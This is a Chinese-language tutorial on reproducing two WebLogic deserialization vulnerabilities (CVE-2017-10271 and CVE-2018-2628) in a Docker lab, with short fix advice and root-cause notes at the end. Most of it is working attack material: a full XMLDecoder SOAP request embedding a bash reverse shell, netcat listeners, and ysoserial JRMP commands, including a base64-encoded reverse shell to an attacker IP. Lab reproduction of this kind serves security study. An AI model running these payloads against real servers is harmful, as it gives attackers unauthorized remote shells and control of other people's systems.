Weblogic反序列化漏洞解析(CVE-2017-10271和CVE-2018-2628)
字数 1528 2025-08-10 08:54:01
Weblogic反序列化漏洞深度解析与复现指南 (CVE-2017-10271 & CVE-2018-2628)
一、漏洞概述
CVE-2017-10271
- 影响组件: Weblogic的WLS Security组件
- 漏洞类型: XMLDecoder反序列化漏洞
- 攻击向量: 通过webservice服务解析恶意XML数据
- 危害: 可导致远程代码执行(RCE)
CVE-2018-2628
- 影响组件: Weblogic Server WLS Core Components
- 漏洞类型: T3协议反序列化漏洞
- 攻击向量: 利用T3协议和RMI机制缺陷
- 危害: 未授权用户可远程执行任意命令
二、环境准备
基础环境
- 靶机:
- 操作系统: Kali Linux (IP: 192.168.200.14)
- 或 Ubuntu (IP: 192.168.200.47)
- 攻击机:
- 需要安装Docker和Python环境
- 建议使用Kali Linux
工具准备
- Docker及docker-compose
- ysoserial工具包
- weblogic_poc.py漏洞利用脚本
- weblogic-t3-info扫描工具
三、CVE-2017-10271漏洞复现
1. 启动漏洞环境
docker-compose up -d
docker ps # 确认7001端口已开放
2. 漏洞验证
访问Weblogic控制台: http://靶机IP:7001/console
3. 构造并发送恶意请求
POC示例:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机IP:7001
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2">
<string>bash -i >& /dev/tcp/攻击机IP/端口 0>&1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
4. 反弹Shell设置
- 在攻击机上监听指定端口:
nc -lvnp 端口
- 修改POC中的IP和端口为攻击机的信息
- 发送恶意请求
四、CVE-2018-2628漏洞复现
1. 环境准备
docker-compose up -d
docker ps
2. 扫描T3服务
weblogic-t3-info 靶机IP 端口
3. 下载利用工具
git clone https://github.com/Lighird/CVE-2018-2628
4. 启动JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 监听端口 CommonsCollections1 "命令"
命令编码工具: https://ares-x.com/tools/runtime-exec
示例:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+L2Rldi90Y3AvMTkyLjE2OC4yMDAuMTQvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
5. 生成Payload
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 攻击机IP:监听端口 | xxd -p | tr -d $'\n' && echo
6. 修改利用脚本
- 将生成的Payload替换weblogic_poc.py中的内容
- 修改靶机IP
7. 执行攻击
python2 weblogic_poc.py
8. 获取Shell
在另一个终端监听指定端口:
nc -lvnp 1234
五、漏洞修复建议
CVE-2017-10271
- 升级Weblogic至最新版本
- 删除或重命名wls-wsat.war组件
- 配置XML解析安全策略
CVE-2018-2628
- 应用Oracle官方补丁
- 限制T3协议访问(配置防火墙规则)
- 升级JDK至安全版本
update-alternatives --config java
六、技术原理分析
CVE-2017-10271
- 漏洞根源: XMLDecoder在解析XML数据时未做充分安全校验
- 触发路径:
wls-wsat.war → CoordinatorPortType → XMLDecoder → ProcessBuilder
CVE-2018-2628
- 漏洞链条:
T3协议 → RMI机制 → JRMP协议 → 反序列化 → RCE - 关键点:
- JRMP协议允许远程方法调用
- ysoserial工具生成恶意序列化数据
七、注意事项
- Python版本问题: 必须使用Python2执行weblogic_poc.py
- 空格问题: 修改脚本时注意不要引入多余空格
- 编码问题: 特殊字符需要进行Base64编码
- 权限问题: 确保攻击机有足够权限监听端口
八、参考资源
- Oracle官方安全公告
- ysoserial项目: https://github.com/frohoff/ysoserial
- CVE-2018-2628利用脚本: https://github.com/Lighird/CVE-2018-2628
- 命令编码工具: https://ares-x.com/tools/runtime-exec